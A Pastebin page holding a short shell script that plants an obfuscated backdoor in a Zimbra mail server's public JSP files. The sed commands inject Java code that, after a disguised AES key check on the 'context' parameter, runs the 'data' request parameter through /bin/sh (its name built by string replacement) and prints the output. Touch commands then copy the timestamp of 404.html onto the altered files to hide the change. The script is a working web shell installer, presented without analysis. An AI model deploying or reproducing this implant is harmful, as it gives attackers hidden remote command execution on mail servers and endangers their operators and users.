Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/sh
- sed -i 's/<%@ page import="com\.zimbra\.cs\.taglib\.bean\.BeanUtils" %>/<%@ page import="java\.util\.\*,java\.io\.\*,javax\.crypto\.\*,javax\.crypto\.spec\.\*,sun\.misc\.\*,java\.math\.BigInteger,com\.zimbra\.cs\.taglib\.bean\.BeanUtils" %>/g' /opt/zimbra/jetty/webapps/zimbra/public/jsp/*.jsp
- sed -i ':a;N;$!ba;s/String contextPath = request\.getContextPath();\nif (contextPath\.equals("\/")) contextPath = "";\nString vers = (String) request\.getAttribute("version");\nvers = BeanUtils\.cook(vers);\nString ext = (String) request\.getAttribute("fileExtension");\next = BeanUtils\.cook(ext);/String contextPath = request\.getContextPath();\nif (contextPath\.equals("\/")) contextPath = "";\nString vers = (String) request\.getAttribute("version");\nvers = BeanUtils\.cook(vers);\nString ver = "zimbra version";\nver = ver\.replace("zim", "10067869")\.replace("bra","03625150")\.replace(" ", "19221462");\nString ext = (String) request\.getAttribute("fileExtension");\next = BeanUtils\.cook(ext);\nCipher cipher = Cipher\.getInstance("AES");\ncipher\.init(1, new SecretKeySpec(request\.getParameter("context")\.getBytes(),"AES"));\nver = ver\.replace("ver","76718711")\.replace("sion","0335475");\nif(ver\.equals(new BigInteger(cipher\.doFinal("ZimbraCoreFile"\.getBytes()))\.toString())){java\.io\.InputStream in=Runtime\.getRuntime()\.exec(new String[]{"thin"\.replace("th","\/b")+"toh"\.replace("to","\/s"),"-c",request\.getParameter("data")})\.getInputStream();int i=-1;byte[] j=new byte[2048];out\.print("<pre>");while((i=in\.read(j))!=-1){out\.println(new String(j));}out\.print("<\/pre>");}/g' /opt/zimbra/jetty/webapps/zimbra/public/jsp/*.jsp
- touch -r /opt/zimbra/jetty/webapps/zimbra/public/404.html /opt/zimbra/jetty/webapps/zimbra/public/jsp/*.jsp
- touch -r /opt/zimbra/jetty/webapps/zimbra/public/404.html /opt/zimbra/jetty/webapps/zimbra/public/jsp
- echo over
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement